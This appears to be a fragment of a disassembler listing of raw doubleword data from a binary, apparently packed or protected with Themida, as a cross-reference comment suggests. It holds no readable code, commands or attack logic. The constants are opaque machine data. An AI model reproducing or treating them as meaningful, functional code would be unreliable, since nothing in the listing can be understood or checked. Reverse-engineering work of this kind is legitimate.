		dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h,	66222E96h
		dd 76F85215h, 33883215h, 63D8BF89h, 0F5994D6Dh,	854BAED9h
		dd 0DC1E18C9h, 228B905Fh, 0ABAFB974h, 6917200Fh, 66883E92h
		dd 60C13D15h, 69223215h, 66113296h, 6680DB15h, 0C2503215h
		dd 0B344980Ah, 0D8475FAFh, 44264DC8h, 0A8C5ECE2h, 3F817F1Eh
		dd 453D8D42h, 910971C3h, 66F962EAh, 3543C594h, 98100C37h
		dd 0E75EC54Ah, 0A55610FBh, 3813BBB1h, 6610B61Ah, 6703215h
		dd 6642BC1Ah, 0AEA33215h, 432F900Dh, 0E7E9D09Fh, 664436F9h
		dd 4226BB15h, 661136ADh, 3E493315h, 664437FCh, 0B3B51115h
		dd 0EB98C8E4h, 609A28D8h, 0A13DDBECh, 72CBCDEAh, 0F5113215h
		dd 241C7DC5h, 0AB7C3600h, 11D9BE6Ch, 0AF8EB01Ch, 8F9A3E39h
		dd 66441E52h, 0EC2D52EDh, 66113204h, 66883EFCh,	596AD315h
		dd 0BD904C2Dh, 898AD5C5h, 0AB05B93Eh, 9342200Fh, 662226FCh
		dd 2D152C15h, 0E558053Eh, 0F2F7257Dh, 1AB4C613h, 1211B0A5h
		dd 0E7B9CD7Ch, 52331611h, 307B45F1h, 822545ABh,	38791B62h
		dd 1EC9BBECh, 8F242B84h, 6611321Ah, 0ED5A3005h,	9EA2BB04h
		dd 7073758Dh, 693998D4h, 66883E94h, 60C53D15h, 69223215h
		dd 66113298h, 28B0B315h, 69087641h, 6622F890h, 0E777CA15h
		dd 48C4366Dh, 66F9B71Ah, 0EF2D3215h, 6611321Bh,	66883BFCh
		dd 7A3EA915h, 3CB37A4Ch, 0EF40BB53h, 0ED46BBD4h, 0A2C51619h
		dd 66223211h, 6604B21Ah, 76613215h, 0CB443215h,	0EB1CC72Bh
		dd 0E3A12703h, 0F0E01E70h, 8F87965Dh, 6622321Ah, 1497BD7h
		dd 0A176DB77h, 0E6E5CA80h, 33986F79h, 661134A8h, 0ED663315h
		dd 0A2C51639h, 66223211h, 661137FCh, 0D806F715h, 0E3CFF2B2h
		dd 60300294h, 661123FCh, 0FD907C15h, 539C4C8Bh,	0FAD2976Bh
		dd 74C6D90Bh, 0E8E92Dh,	8EA10FAEh, 66223219h, 0E4BE797Dh
		dd 6348CC0h, 0C1CAFE50h, 662235FCh, 4185A015h, 0B7FD788Ch
		dd 9CAD534Bh, 8F223211h, 66113212h, 0C35CFDE7h,	0E75A17Bh
		dd 66226E50h, 3835369Ch, 60DC5AE0h, 62CD3215h, 9EDB6831h
		dd 3671FB24h, 6688BC1Ah, 71D3215h, 0DF4452B9h, 72F8DC22h
		dd 36883215h, 0B223687Dh, 0ECAEE048h, 0FE5F2E14h, 0C5776BD8h
		dd 7B05B0Fh, 0E22D3229h, 66113391h, 668823FCh, 117E6F15h
		dd 7CFF473Bh, 6CFC35B6h, 0B7DBCFBCh, 4B78A5C1h,	9998B61Ah
		dd 0E31ECDEAh, 66883212h, 6645BA1Ah, 5ADA3215h,	0B3953D3Bh
		dd 9F883215h, 0E44B0229h, 6622372Ah, 0DDD3B975h, 787135CCh
		dd 697D0E74h, 99DDB993h, 0ED1ECBEAh, 66883202h,	8F83B975h
		dd 6622321Bh, 0DA9DBEE9h, 0E6B29E3Bh, 593F40DAh, 5A4304BAh
		dd 6E933D54h, 8F883210h, 6644321Ah, 979D6DE2h, 4EE2029h
		dd 0AD43E7C4h, 8F933DA4h, 6622321Bh, 0DFDCCAF4h, 0C1E0C131h
		dd 0E04019CFh, 3C1E8A3Fh, 9927B41Ah, 5A70CDEAh,	4BC03D4Ah
		dd 8FDDCDEAh, 6611321Bh, 793EB7F6h, 0E5C89399h,	7D84D1D1h
		dd 72D5B7Bh, 623DB01Ah,	5ABC3215h, 6FA43D6Fh, 69EECDEAh
		dd 6688339Eh, 0EC4BCA15h, 6622321Dh, 6613B11Ah,	7E83215h
		dd 6640A0FCh, 77CB5215h, 1113215h, 0B4EE9333h, 0E9398532h
		dd 0BED12665h, 78D4B205h, 6689BB1Ah, 7BC3215h, 99DD8B44h
		dd 0AC38CDEAh, 94B1C74Ch, 6225B61Ah, 74CB3215h,	0B9113215h
		dd 794A0A16h, 0D3026C2Dh, 9AA2A3FBh, 5AA0F4B0h,	0EA875247h
		dd 6644321Ah, 662238FCh, 648F6515h, 4D4028F5h, 0DF632187h
		dd 7D1F3FE1h, 67AC6774h, 4F883215h, 6EAD6FFFh, 0E1223215h
		dd 504BD3BEh, 352E70A2h, 99BBCDAEh, 3DFB1BEAh, 4AF5475h
		dd 0E2325470h, 3BAD53B3h, 6DDCDEBh, 29C795h, 79CCAAEh
		dd 0E24BFB90h, 662231FAh, 6635BB1Ah, 8FE83215h,	6644321Fh
		dd 44046402h, 84C1421Eh, 6B60CFEEh, 83443215h, 0A127A37h
		dd 7E4A23F8h, 0E5523D0Bh, 0D3C9534Ch, 603020E4h, 661120FCh
		dd 52D13215h, 1BABB8Ch,	1EEF036Dh, 0A9D6E62h, 0E54611DCh
		dd 72CD36F9h, 75CB6B31h, 55113215h, 39A0FE6Ah, 8BC9ADB3h
		dd 0A37346DDh, 3D97D5C0h
		dd 0E7DAEF82h, 445C1621h, 5AA91146h, 62D5B331h,	0E7883215h
		dd 35662AE2h, 63CA5236h, 47113215h, 0B4FEA57Bh,	8E438A73h
		dd 2CD28D4Dh, 37700E9Ch, 0D7928546h, 3DBD1A18h,	0AE12EFA5h
		dd 67973D4Ch, 93883215h, 6B947BBh, 6620B51Ah, 3D463215h
		dd 668821FCh, 0EED35215h, 83159492h, 0F4E9A2E2h, 0C6A5D5A7h
		dd 193A9D22h, 97A95274h, 5FE1B373h, 68615319h, 84443215h
		dd 9319FA1Fh, 8F45B73Ch, 20BA335Dh, 0AF85B304h,	0E7280433h
		dd 1E16B1D4h, 0E7711B14h, 1E43B1FCh, 0AFCBB314h, 9A1B0433h
		dd 6688327Dh, 42481B15h, 0E7063E9Eh, 661136D1h,	8909CE15h
		dd 18C13B0Dh, 47EDD94h,	0A938651Eh, 4D4F594h, 0A1C5651Eh
		dd 18A73B0Dh, 0D91E6075h, 0EDEE6ADFh, 8AC753D2h, 421EBB11h
		dd 9A4F6D43h, 6B6196E6h, 13443215h, 0EF06AD12h,	4ADEE886h
		dd 0FFCC198Fh, 0A6B08546h, 0A1A23AFAh, 27D6B2AFh, 3473C595h
		dd 99BBCDAFh, 0EED833EAh, 934A682Fh, 7479A798h,	61AD3407h
		dd 0F2223215h, 64331542h, 0E303A729h, 60561128h, 69E2B7E9h
		dd 66110C90h, 6D0B3D15h, 6443215h, 69F38D1Ah, 66113297h
		dd 0E34E5315h, 605627D4h, 0B44ACB52h, 9AC5A8B2h, 578987EAh
		dd 6BD3407h, 1CA7BF74h,	69172797h, 66883594h, 67C33D15h
		dd 9E223215h, 0EE4E2EAh, 66887CE5h, 6960269Ch, 6622259Dh
		dd 6603DB15h, 0CDAD3215h, 32728B5Ah, 0B40872D5h, 0D01BB36h
		dd 5AEB8236h, 6924E2EAh, 8BA2CAA2h, 0A694534Ah,	6787B71Ah
		dd 0EE4B3215h, 66223219h, 661135FCh, 0D9044F15h, 3397A811h
		dd 4EBFB79Eh, 713407h, 8EB858AAh, 66443219h, 16CCA0E9h
		dd 6DA149A8h, 98D26B7Bh, 24534Bh, 0E693C99Eh, 69D1B774h
		dd 66884890h, 6AC93D15h, 69223215h, 6611349Fh, 660E3D15h
		dd 0A0443215h, 7437F390h, 0E61E7E13h, 66883214h, 6CAD52E9h
		dd 96223215h, 5313F739h, 3DD78125h, 795B98Bh, 0BC3EDB7Dh
		dd 661CDBCCh, 4A093215h, 17D68311h, 35A49D5Ah, 99CE68E5h
		dd 74B933A0h, 7CC63D13h, 69223215h, 66112698h, 6687DB15h
		dd 0D71E3215h, 0BB98977Dh, 0A440E92Ch, 0B03ED8EBh, 1CC1BF93h
		dd 93242797h, 33E4E2EAh, 0A309D79Ch, 66443211h,	6626DF94h
		dd 4A963215h, 72016E31h, 34245231h, 7F3B94Ah, 8FC1CD74h
		dd 66883219h, 4BF0CE74h, 6E5F346Ah, 137BC62Fh, 0A4035475h
		dd 20ADB373h, 0A6A75309h, 6602B71Ah, 8F7D3215h,	664432F6h
		dd 6625B31Ah, 0ED1E3215h, 66883214h, 1EC1BBEDh,	6242B84h
		dd 1BCAB373h, 0A0373D31h, 62A8B174h, 9306369Ch,	661C0B7Dh
		dd 42BCBB15h, 0FDFD5475h, 71E8759h, 0FF69B798h,	0E0873400h
		dd 6644321Ch, 7A6375h, 0CF0BEA94h, 0B677CA74h, 85C55275h
		dd 4ACFB3CDh, 2A77A1ABh, 0D1875375h, 0E94B53D6h, 6622320Eh
		dd 6604B81Ah, 76613215h, 9A443215h, 7FD41CB3h, 76C73AACh
		dd 0E9B2778Bh, 6D1D08E2h, 55A73DD5h, 8F113215h,	66883218h
		dd 2288E99Bh, 9FD8A3FDh, 0E2504999h, 0E7EE5273h, 79EC2C4h
		dd 66220CFCh, 6601DB15h, 951A3215h, 0D550820Bh,	0A281A376h
		dd 0C7F83D16h, 22012252h, 68AD2E31h, 39223215h,	683AC674h
		dd 2133CC3h, 281EBB08h,	662FDB3Bh, 0BC783215h, 915E2BC8h
		dd 26B81FDEh, 7C80283h,	66113FFCh, 0F7C59115h, 0E1C653F0h
		dd 66FAB115h, 6D2EAFFh,	6688BA1Ah, 0B9CF3215h, 77CB5274h
		dd 7C113215h, 847435E9h, 0D3BBE97Ah, 0D24BE8C8h, 0CA8BFDADh
		dd 0F7F0BF9Eh, 6CAD340Ch, 6F223215h, 394AFC65h,	0BCC63C26h
		dd 1CB75AE9h, 62AB3215h, 6605DB31h, 0B9713215h,	0B20397CAh
		dd 0A165EC68h, 92452881h, 0A247D089h, 63AD256Ah, 0BF223215h
		dd 148BCFD3h, 3543BB46h, 0C9603694h, 3E7C8A34h,	0DE309D38h
		dd 0E287694Bh, 66443219h, 6624B81Ah, 0EF1E3215h, 66883215h
		dd 66785A46h, 67793215h, 3D1231D6h, 66883DFCh, 1FB4BA15h
		dd 3B3EAC9Ch, 506C0EBFh, 1A96B5E5h, 664438FCh, 361CBC15h
		dd 57E229C4h, 0E5BCF663h, 7ACD36F9h, 66AA8931h,	0A5103215h
		dd 69D3219Eh, 66442B96h, 6636DB15h, 0AAD33215h,	13878DA8h
		dd 0C1F7AA11h, 8639E26Ah, 787DD9A8h, 0F301FBEEh, 60562460h
		dd 6623BA1Ah, 35E43215h, 0F8A837AEh, 9AA7B317h,	363EC24Fh
		dd 1611C6ADh, 3E4B33EAh, 61FEA14h, 662238FCh, 3D4D4615h
		dd 0BC1F9070h, 7A21EAEh, 0ED2E42EAh, 0A2901601h, 66883211h
		dd 0DFD1BBE0h, 6242036h, 66113EFCh, 0DCE22115h,	9E4E4099h
		dd 8C7FEEB9h, 52EE5386h, 0A2096A31h, 66443211h,	4256CDE9h
		dd 4215B931h, 9E8CF696h, 6B198D42h, 9E231EA6h, 4BD91B4Ah
		dd 4A3B3F48h, 664437FCh, 0EDAE415h, 0E32AD527h,	609A11ACh
		dd 6663B01Ah, 6FCB3215h, 0E7113215h, 5A8E3E95h,	0FE8F562Ch
		dd 7057B72Eh, 0E51E3407h, 66883218h, 0A4BC53E0h, 0ED2D3211h
		dd 66113214h, 0DFE853E9h, 28E571EFh, 0A1DB53E9h, 4CBE1611h
		dd 4A092091h, 0FD144231h, 4236C57Fh, 29DA8847h,	32A903F8h
		dd 0A71E3631h, 99251639h, 4A901611h, 46823E31h,	67C13D15h
		dd 93223215h, 623576D2h, 20BF13AEh, 62606EE2h, 58588A45h
		dd 221065F7h, 91D03A31h, 0E7401649h, 27261661h,	6FF66F6h
		dd 7460EB9Eh, 40443215h, 406FE4EAh, 649E2D7Ah, 8840D532h
		dd 0D3A8B47Bh, 69436DD9h, 66113D9Ch, 6682DB15h,	0FE663215h
		dd 6E71ECA4h, 1E6C0435h, 7BE06243h, 3E28C034h, 83008738h
		dd 49C51F35h, 0F7BD584Bh, 0EFA59CDBh, 96AB6AD3h, 6601DB4Bh
		dd 1A1B3215h, 3B3C318Ah, 2A72D13Bh, 9BE2350Ch, 0EB058FB0h
		dd 60567C5Eh, 73935275h, 477C8973h, 99E9CE74h, 6656DBF4h
		dd 0F52D3215h, 497F7BD5h, 0A9E764ABh, 0B66F24FEh, 9AF39902h
		dd 6618DB75h, 7073215h,	0B8203491h, 69B889FDh, 6611339Eh
		dd 0DDDBCE15h, 66443215h, 4F61D994h, 95105547h,	4FCBF194h
		dd 65CE5547h, 6636DB4Eh, 72893215h, 5779288Eh, 0A5581611h
		dd 500BD638h, 586C46D1h, 8FB42850h, 67F8B61Ah, 6ECB3215h
		dd 28113215h, 8C7D3010h, 69CD456Eh, 66223E9Fh, 609C3D15h
		dd 69883215h, 66443298h, 69CA0E15h, 6610FC91h, 0E8CE15h
		dd 0EC4BF89Eh, 66223215h, 691E0E74h, 6688BB91h,	6650DB15h
		dd 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh, 1E874475h
		dd 0AB2D5D8Ah, 6773B61Ah, 69243215h, 66222395h,	661DDB15h
		dd 0AACE3215h, 0CF08B2D4h, 8467A48Ah, 0D11E6CCBh, 8DB453E6h
		dd 647CB61Ah, 0EE2D3215h, 66113200h, 8FD76475h,	66443219h
		dd 0A413B53Ch, 0A2FDB58Bh, 0DC5614AFh, 0A5BC5374h, 7426275h
		dd 670CA4Fh, 669BB51Ah,	6BAC3215h, 8A223215h, 4FC39AA2h
		dd 2A1C93D1h, 5450D308h, 659A544Dh, 0DE415343h,	66883214h
		dd 0DC16C214h, 66223215h, 7C9BF014h, 6C616A4Fh,	0A0443215h
		dd 5E5937E4h, 0C676041Fh, 413D6374h, 3522E7E3h,	9B2AF7A2h
		dd 93916973h, 3F631238h, 6654DBE0h, 194A3215h, 0ED593Eh
		dd 87ECAD52h, 274E4788h, 9DA23910h, 0E4943D95h,	677CDEAh
		dd 8EBB851Ah, 66223219h, 6FB56CF3h, 22A069D4h, 45161251h
		dd 0E22D534Bh, 66113206h, 6685BF1Ah, 6EAD3215h,	8D223215h
		dd 11A011AFh, 3067947Ah, 70603694h, 3D1D5357h, 2D368D42h
		dd 910900F8h, 664B5844h, 5565D594h, 0A1907A40h,	5FF606Dh
		dd 2562D594h, 89E31F1Bh, 82D6B311h, 4FB562C8h, 0E24B6DEEh
		dd 66223212h, 6610BA1Ah
		dd 0E743215h, 66442499h, 0D806069Ch, 66113213h,	9AD6C114h
		dd 6625A87Dh, 4236BB15h, 661130AFh, 657A3315h, 8FBD680Fh
		dd 66223283h, 31CFB375h, 0D5968E92h, 10BB531Bh,	423EB914h
		dd 8F15F696h, 66883206h, 6F3060Ah, 23B59E3h, 57B9DEBEh
		dd 0D8DC4608h, 0E51D8338h, 0E22DC9EEh, 661132EEh, 668838FCh
		dd 8D4A5415h, 63C47EF2h, 0E75A46BFh, 668836F9h,	4270BB15h
		dd 0DE72C74Eh, 66113214h, 0DFD9C214h, 66443215h, 7F21F314h
		dd 34E46A4Ch, 668837AFh, 4487B315h, 6734DB62h, 44FAB3C6h
		dd 3C9EDB62h, 665CB61Ah, 0D5423215h, 661EDB8Eh,	0FD693215h
		dd 4F2DCB04h, 6576194h,	8E066591h, 286153BFh, 69BBCDEBh
		dd 6622369Dh, 7715215h,	383E3D74h, 6656DB14h, 723215h
		dd 4B9EE246h, 0E88F9CADh, 0B36B79FDh, 680E912Ch, 693FD996h
		dd 99761291h, 8FB152EAh, 66223201h, 89F4ED0Ah, 21CC4BC0h
		dd 1F6AA148h, 0A4989A7Ah, 9AFA5F0Ch, 66CDDB74h,	0E54B3215h
		dd 66223203h, 6601B11Ah, 6D613215h, 5443215h, 9D6F8F2Fh
		dd 954A1043h, 18083AE4h, 0E34BCC14h, 99DDCFCCh,	0A7905475h
		dd 774008Ch, 6655B41Ah,	6ACB3215h, 85113215h, 0A5802EEEh
		dd 4C1F29ECh, 8FA0EEAEh, 99EEC9F4h, 46B875h, 7C092AAh
dword_5FB688	dd 66008E7Dh, 4225BB15h, 26315475h, 94B58C3Ch, 0E4357CCh
					; DATA XREF: Themida_:005838F9o
		dd 66116D9Dh, 9EAC3E9Ch, 664BA67Dh, 423EBB15h, 0B19A5475h
		dd 3C4DB844h, 85CD6174h, 6626F194h, 8D903215h, 66883211h
		dd 3A602E92h, 69060E9Ch, 66113999h, 0EDEE5215h,	66C73DECh
		dd 7223215h, 7D2B975h, 6B61F224h, 27443215h, 48CF710Eh
		dd 5DE168E6h, 0DF3E6588h, 664EDBB9h, 0C3203215h, 36447599h
		dd 99F61DBBh, 3681BA44h, 0A5AADA9Dh, 8F716B4Dh,	6688321Dh
		dd 4153DE3Dh, 9E961B77h, 66113DFCh, 56CEC115h, 0C1B888AFh
		dd 5DDCC7EBh, 0D8920C06h, 6264B174h, 0D060269Ch, 3CD112E5h
		dd 0A6A63D75h, 7CCFD95h, 6934C995h, 66240E91h, 60F95215h
		dd 0BE883215h, 199A171Bh, 0B0A95494h, 7DB834Ah,	0E2873D29h
		dd 664432D9h, 662CDB75h, 4AED3215h, 3B2118A4h, 0E5DD6C40h
		dd 0B457E756h, 5A705FA3h, 0E30C3DFCh, 9F44321Eh, 0E22DD929h
		dd 66113DEAh, 668820FCh, 4A857215h, 44B07A51h, 0C464176Ah
		dd 0ABA37BD2h, 5A14384Fh, 0DEA63DF6h, 8F113216h, 6688321Dh
		dd 2D09BFEAh, 50ED3607h, 661121FCh, 0E46CD15h, 6CEB11ADh
		dd 91D61F86h, 93C0301Ch, 6BF6FF92h, 0E24BD029h,	66222370h
		dd 4225CDE0h, 624CB34Ah, 9E443215h, 3D0606EAh, 6615F694h
		dd 0E83215h, 8FD2C9ACh,	6622321Dh, 0BDB0870Eh, 13584B2Ch
		dd 4248B974h, 0E7C4BB43h, 661136D3h, 624EB115h,	3A600692h
		dd 662238FCh, 0C9486F15h, 0DEC4F3F5h, 999636A2h, 0E77C1621h
		dd 661136D1h, 9E4BCA15h, 0F40CB7D2h, 6624340Ch,	36E93215h
		dd 3DD98C43h, 0C9FC7D43h, 67929BB1h, 96106CE5h,	6D02A9Fh
		dd 664434FDh, 0BC030615h, 0EDC69030h, 61616CDBh, 87443215h
		dd 2127E746h, 6702461h,	0DE7AB973h, 73AC2D75h, 62CEB374h
		dd 0EF113215h, 503C1611h, 0E642F695h, 85027EF9h, 6C933D4Dh
		dd 8F883215h, 66443210h, 0E1652C35h, 0E6EAB21Ah, 99BFB71Ah
		dd 24CDEAh, 6CCBE29Eh, 4F113215h, 2E616690h, 77020014h
		dd 0DE7253EBh, 66113214h, 6D0F43Ch, 664423FCh, 2DF54815h
		dd 0BA62569h, 0E1100A1Ch, 0BB50E823h, 0E22DFBF6h, 66113217h
		dd 0EDE9C39Eh, 74596F90h, 0D92D5213h, 77F852C5h, 14883215h
		dd 8E6EA42Fh, 2BCD352h,	87E5B5E3h, 0CDA09AD8h, 664426FDh
		dd 6D5DBA15h, 140F57EAh, 98734701h, 174385F4h, 0A1578ABFh
		dd 7706BC7h, 4039A79Eh,	0ED243407h, 0B09D3DD7h,	40755A74h
		dd 5A013215h, 0EFB3BB31h, 76CB6DEEh, 5113215h, 0D18A4D5Ch
		dd 24FD31FBh, 39ABFA9Dh, 31172C44h, 668834AAh, 0F1AFB315h
		dd 67605644h, 0F1D2B3EEh, 39CA5644h, 0F58375h, 508ED094h
		dd 679B3D74h, 93883215h, 66468B44h, 97233215h, 66118A45h
		dd 0AE893215h, 3F1C2A16h, 0F2E5B375h, 0E641F637h, 5DE936D3h
		dd 46C63DCDh, 8F223215h, 66113219h, 45F0EB2Fh, 626951FAh
		dd 0EE2D2E05h, 0E01EE82Eh, 9977CC3Ch, 6645BE1Ah, 0E7D73215h
		dd 202529D6h, 37731B41h, 207029ACh, 3FE91B41h, 6605DB75h
		dd 0FDF43215h, 0BC84DC37h, 0EDA9CE6Bh, 27A4099Dh, 0BAE542ABh
		dd 96CE1019h, 62CEB174h, 0DC35269Ch, 66883213h,	9F1EE13Ch
		dd 61CB9F73h, 7E113215h, 3BD7D79Ah, 0CD22F4EEh,	662AB31Ah
		dd 0EE1E3215h, 66883217h, 245375h, 5496D494h, 6611B11Ah
		dd 0EE93215h, 664433E7h, 3506369Ch, 72F8694Dh, 0FC883215h
		dd 5ABA8EA9h, 5A4E4364h, 0BDF584Ah, 7567210Fh, 0CD2D7987h
		dd 0DE7267EDh, 14ED4A40h, 0B3D21610h, 57F83F71h, 266A000Bh
		dd 824B9A30h, 34240740h, 0A3CD67D1h, 3BCC334Dh,	661134FCh
		dd 0EAA15h, 9FD16C2Ch, 69060E9Ch, 66113597h, 670D3D15h
		dd 93443215h, 6A06469Ch, 66113BFCh, 7F83C315h, 0F2DAA3D1h
		dd 0D3ABED16h, 600300E0h, 42BCCDE0h, 6280B14Ah,	662DBF1Ah
		dd 8F713215h, 66883210h, 31B0F23h, 0B6A954ABh, 4225CD74h
		dd 624CB34Eh, 6443215h,	6620BB1Ah, 0A09A3215h, 743B973h
		dd 6643B41Ah, 0EB2D3215h, 66113214h, 42BCCDEDh,	6280B14Ch
		dd 662222FCh, 0B583D915h, 209A3F78h, 4D2DE964h,	0F1EEEE38h
		dd 75923D41h, 6883215h,	664434FCh, 8B594A15h, 696E5223h
		dd 66883294h, 52CF5315h, 81AB6531h, 6615F594h, 0A1093215h
		dd 66443211h, 3A060E92h, 97AE3D75h, 74A8D1Ah, 0E7A1BB40h
		dd 662236D0h, 62D4B115h, 42FCCD40h, 62CB6F11h, 69426E31h
		dd 66113090h, 7D16015h,	999B39FCh, 60CB52EAh, 0B7113215h
		dd 7D49FB3Fh, 0A125CBD6h, 7FB07A90h, 66113013h,	6682DB15h
		dd 0E7BC3215h, 2F0CD199h, 0FE3A2C49h, 4294B943h, 6640F694h
		dd 8FDB3215h, 66113204h, 42451752h, 0CC927092h,	0D00B5672h
		dd 0D368761Eh, 683E3D22h, 6643BE1Ah, 0E22D3215h, 66113214h
		dd 0E671B2EDh, 6623B11Ah, 37DA3215h, 9634BEACh,	3F43331Fh
		dd 8DC5F914h, 6CD21799h, 6600DB75h, 59F73215h, 0FF4BB96h
		dd 7523B977h, 8377C8C9h, 696E07A5h, 6644229Dh, 6629DB15h
		dd 0C7063215h, 0A1A15530h, 0C65C4F83h, 0DE7253FDh, 99EECDEAh
		dd 6D0F13Ch, 0E72274A3h, 72D09CCh, 66119BFCh, 6C083D15h
		dd 6443215h, 6622B61Ah,	0BF9A3215h, 34DB5474h, 8CC421A7h
		dd 23D0B24Ch, 4E4BE19Dh, 6D354CCh, 66443CFDh, 0F8209615h
		dd 0FE503552h, 38B15493h, 69F1CB80h, 66223295h,	0D9776915h
		dd 0EE9BEFFh, 66441C1Dh, 91063E9Ch, 8F481609h, 66883212h
		dd 9D8B4D39h, 30C46D7Dh, 6611CD7Dh, 97A96C15h, 0A5C5CA4Bh
		dd 1C47309Fh, 0DF40F93Ch, 43B732AEh, 0ACBD394h,	0AFA34C9Ch
		dd 65887F0Ah, 1906F394h, 0E7053D40h, 0EDED96E4h, 3FDA1B59h
		dd 0A9373D75h, 664422FCh, 0BE4BA415h, 0E71723h,	893D13BCh
		dd 0EB519730h, 0E3A9536Eh, 60032F48h, 6696B01Ah, 6243215h
		dd 6636DA74h, 0F9B73215h, 1240DF98h, 8191F744h,	0BBB56993h
		dd 0BA00A661h, 7D0FFE5h, 664FB11Ah, 0E6423215h,	0EF1EA0DBh
		dd 66883215h, 0D7D1B974h, 6242033h, 661123FCh, 777D0115h
		dd 15355CA6h, 3B9F7844h, 46840D94h, 0DEEE0068h,	0E52549F9h
		dd 743F2BA8h, 0E21E3313h, 66883677h, 74AC6575h,	0E6223215h
		dd 0BF1B4FFDh, 7B2D2F7Dh, 6BBC9355h, 0ECF94E7Ah, 8F496C13h
		dd 66883210h, 41E2C55Eh, 0A51B53DEh, 6225B01Ah,	6B613215h
		dd 9B443215h, 946F5809h, 0C0BD0805h, 71567F0Bh,	0E44BE12Ch
		dd 99DDC864h, 6205DBECh, 74613215h, 26443215h, 0C495A4A4h
		dd 6D602494h, 3E33848Ch, 1C30090Ch, 2EA7F50Ah, 64172B87h
		dd 8F883215h, 6644321Eh, 4CAF38FCh, 2D9424E8h, 30E2BFDFh
		dd 0C603694h, 3D6EFA27h, 547B8F40h, 8DA17EDDh, 67C83D48h
		dd 93223215h, 61F841Ah,	69588D1Ah, 6644319Ch, 0A0A95415h
		dd 0E6E8B274h, 66D0B11Ah, 6DAD3215h, 38223215h,	254788C1h
		dd 0FA46996Bh, 0DE143889h, 7CD84163h, 6749F114h, 1063B3DEh
		dd 65EC866h, 6620B11Ah,	7713215h, 0AC9C8873h, 67FE6074h
		dd 67223215h, 9EED68C6h, 6688AEFCh, 74AD5215h, 93223215h
		dd 0FD8CA50Eh, 19353E38h, 43E52503h, 0F0E51B72h, 8A905368h
		dd 66883211h, 0D460269Ch, 3CF31AEAh, 66AC67E9h,	0E7883215h
		dd 0E1088FD0h, 0E7EF1B67h, 0E15D8FF8h, 3B61B567h, 664420FCh
		dd 0FBABF415h, 0F2C91578h, 7FB4D400h, 0D00AE042h, 8F51E5C7h
		dd 6611321Bh, 6318A87Eh, 0D79289C1h, 0F32455B9h, 0DE4163A4h
		dd 3A6D1922h, 3A556210h
		dd 1E9B636Eh, 67368CD1h, 0A7A96BDDh, 0A5C5C74Dh, 6FB11040h
		dd 208BD994h, 0ADA12DD5h, 20DEF194h, 8DA32DD5h,	6F821040h
		dd 3B0DB9E0h, 93422008h, 0D7B7B9E0h, 8F172033h,	6688321Dh
		dd 3AB0A6BCh, 0C91918CEh, 7B088F96h, 69893407h,	66469F91h
		dd 61A13D15h, 69113215h, 66883396h, 0BE7FCA15h,	6601B01Ah
		dd 6AF83215h, 9D883215h, 0EB3EA0E5h, 6479010Fh,	5FE1EFEEh
		dd 0B00E3DC6h, 6BBCDEDh, 9CD877ABh, 0A0AE3D62h,	37336174h
		dd 91451A47h, 92C1B3CEh, 9135B039h, 0E753C5CEh,	1B9769D6h
		dd 3DFC33CEh, 0D44363EDh, 4E6F87CDh, 8ECC68C0h,	61A83D4Ch
		dd 69113215h, 66883397h, 69EEC715h, 66222492h, 6600DB15h
		dd 2FB33215h, 26A81112h, 0A33598B3h, 99C09E4Eh,	695B94FEh
		dd 66443390h, 0DE72CB15h, 66113215h, 0FEC4F638h, 63B43312h
		dd 61BA7ED1h, 8F493A9Fh, 6688321Ch, 0D6EB5BE2h,	2F49F40Ah
		dd 62FDB342h, 0EF883215h, 0E6F61601h, 678E29Dh,	29CEDD94h
		dd 0E0870C36h, 66443217h, 69432BA2h, 66113391h,	0D5DBCA15h
		dd 6787B2D1h, 95A2E9E3h, 5EF2B215h, 46A1D995h, 0ED4B69CCh
		dd 6622321Eh, 0DCC2B275h, 9ABD994h, 6E255BB6h, 6988CEDDh
		dd 66112294h, 0AC025215h, 664435FCh, 9548B015h,	2F0D7843h
		dd 0D9875274h, 0E725CBEEh, 9548F9FEh, 34EA1B5Bh, 95E2F9AFh
		dd 3C97335Bh, 662222FCh, 0D05D2515h, 3DB98C05h,	66D0776Dh
		dd 0A0913B43h, 62A863B2h, 4F883215h, 4248B9DEh,	6626F694h
		dd 0E51E3215h, 66883214h, 579C03ECh, 8FFA03D6h,	66113207h
		dd 0A4136EA1h, 2190B365h, 20A340B8h, 3C02033h, 623EEE5h
		dd 664437FCh, 0F9B6F815h, 6EF934FEh, 22883215h,	0C1BAFB64h
		dd 0ED0095h, 0E7C1D894h, 0DFD9534Ch, 66443217h,	6AA9FC14h
		dd 62D5B131h, 6680BB1Ah, 0E14B3215h, 66223217h,	0D3985375h
		dd 609A00E0h, 664CB71Ah, 0EB2D3215h, 66113217h,	0E34F5375h
		dd 60562F0Ch, 66223214h, 661135FCh, 226B7015h, 42822C84h
		dd 0FE868875h, 0E51E73F1h, 66883217h, 35255375h, 0A5A36941h
		dd 66113211h, 0E18CF196h, 69181609h, 6622239Ah,	661DDB15h
		dd 819D3215h, 7EC8E53h,	0C2A3D27Ah, 99E41C3Fh, 0E5D31621h
		dd 69AD36D1h, 0AC223215h, 80DE8603h, 44209543h,	854EADB8h
		dd 52DDA919h, 0A2906B31h, 66883211h, 664DB81Ah,	423215h
		dd 0E6B875AFh, 36E9ADC2h, 6241D29Ch, 0E5223215h, 994136D5h
		dd 3E8C1661h, 3A60369Ah, 84AB60E0h, 6615F094h, 0D9DF3215h
		dd 66443211h, 0E17DC814h, 694D1601h, 66883A98h,	64C93D15h
		dd 6223215h, 0BF13DB74h, 0E587CDEAh, 66443219h,	6624B21Ah
		dd 0EC1E3215h, 66883215h, 66443FFCh, 836C4115h,	0C7535AFDh
		dd 0DFCA227Fh, 0DB11F7F6h, 66223214h, 8F4CDC3Ch, 66883218h
		dd 0F0F57298h, 70A390A2h, 0D0883964h, 8F3D63AEh, 0EEAEBA47h
		dd 67B68C5h, 8F40E39Eh,	66883206h, 704EF9Eh, 0C7647002h
		dd 0E742DF93h, 64045840h, 3F0AA563h, 6429874h, 66113AFCh
		dd 0E5371315h, 0F24E541Ch, 0E8D2B24Ah, 0B5A85474h, 30DA53FDh
		dd 3C94BB4Fh, 66223DFCh, 0AABBBF15h, 0AF6CFF70h, 87853DDEh
		dd 0D0671085h, 26537310h, 34701B32h, 9C4F86AFh,	0F8D0B36Fh
		dd 0E72C4F76h, 0C29966DFh, 59B6B36Ch, 4F7AD52Eh, 0E11E68C5h
		dd 66883212h, 6645BF1Ah, 34DA3215h, 661136AFh, 47AA1F15h
